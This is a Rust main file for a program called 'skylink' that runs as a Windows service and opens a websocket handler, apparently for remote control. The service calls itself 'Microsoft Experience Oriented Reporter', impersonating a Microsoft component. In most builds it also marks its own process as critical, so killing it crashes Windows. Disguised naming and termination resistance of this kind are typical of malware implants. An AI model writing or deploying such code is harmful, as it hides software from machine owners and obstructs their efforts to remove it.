use skylink::lib::logger::{LogLevel, log}; use futures_util::SinkExt; use skylink::lib::websockets::websocket_handler; use skylink::lib::winapi::mark_process_critical; use skylink::LOG_PATH; use skylink::WsTx; use tokio_tungstenite::tungstenite::Message; use std::sync::Arc; use tokio::sync::Mutex; use std::ffi::OsString; use std::time::Duration; use std::sync::mpsc::channel; use windows_service::{ define_windows_service, service::{ ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, ServiceType, }, service_control_handler::{self, ServiceControlHandlerResult}, service_dispatcher, }; const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter"; const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS; fn main() -> Result<(), Box> { // Initialize logging // Check if we are in a Debug build AND the environment variable is set let is_debug_mode = cfg!(debug_assertions); let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok(); if is_debug_mode && force_console { println!("Detected Debug Env Var: Running as console application..."); run_as_console()?; } else { // Run as a Windows Service run_as_service()?; } Ok(()) } // ------------------------------------------------------------------------- // SHARED BUSINESS LOGIC // ------------------------------------------------------------------------- async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) { log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await; let ws_tx: WsTx = Arc::new(Mutex::new(None)); let ws_tx_for_handler = Arc::clone(&ws_tx); tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; }); // this isn't necessary for program functioning // and also error handling this is a PITA // maybe i'll make this proper in a future update. no promises. let is_debug_mode = cfg!(debug_assertions); let force_console = std::env::var("SKL_NON_CRITICAL").is_ok(); if !(is_debug_mode && force_console) { let _ = mark_process_critical(); } // Wait for the shutdown signal tokio::select! { _ = shutdown_rx.recv() => { log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await; } } } // ------------------------------------------------------------------------- // MODE 1: CONSOLE / DEBUG // ------------------------------------------------------------------------- fn run_as_console() -> Result<(), Box> { // Manually build the runtime because main() is synchronous let rt = tokio::runtime::Runtime::new()?; rt.block_on(async { // Create a channel to signal shutdown let (tx, rx) = tokio::sync::broadcast::channel(1); // Handle Ctrl+C to behave like a polite console app let tx_clone = tx.clone(); tokio::spawn(async move { if let Ok(()) = tokio::signal::ctrl_c().await { println!("\nCtrl+C detected."); let _ = tx_clone.send(()); } }); // Run the app run_app(rx).await; }); Ok(()) } // ------------------------------------------------------------------------- // MODE 2: WINDOWS SERVICE // ------------------------------------------------------------------------- // Macro to generate the extern "system" entry point required by Windows define_windows_service!(ffi_service_main, my_service_main); fn run_as_service() -> Result<(), windows_service::Error> { service_dispatcher::start(SERVICE_NAME, ffi_service_main) } fn my_service_main(_arguments: Vec) { // 1. Setup the event handler to communicate with the OS let (shutdown_tx, shutdown_rx) = channel(); let event_handler = move |control_event| -> ServiceControlHandlerResult { match control_event { ServiceControl::Stop | ServiceControl::Interrogate => { // Signal the logic to stop let _ = shutdown_tx.send(()); ServiceControlHandlerResult::NoError } _ => ServiceControlHandlerResult::NotImplemented, } }; let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) { Ok(h) => h, Err(e) => { eprintln!("Failed to register service control handler: {}", e); return; } }; // 2. Tell Windows we are running let next_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Running, controls_accepted: ServiceControlAccept::STOP, exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None, }; if let Err(e) = status_handle.set_service_status(next_status) { eprintln!("Failed to set service status: {}", e); } // 3. Start Tokio Runtime and Block // We create the runtime here because we are on the service thread provided by Windows. let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod rt.block_on(async move { let (async_tx, async_rx) = tokio::sync::broadcast::channel(1); // Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel tokio::spawn(async move { // This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking // or just poll it if we expect it to be rare. // Since this is the main logic block, we can just check it in a separate thread. let _ = tokio::task::spawn_blocking(move || { let _ = shutdown_rx.recv(); // Block waiting for OS stop command }).await; let _ = async_tx.send(()); // Tell app to stop }); run_app(async_rx).await; }); // 4. Tell Windows we have stopped let stop_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Stopped, controls_accepted: ServiceControlAccept::empty(), exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None, }; let _ = status_handle.set_service_status(stop_status); }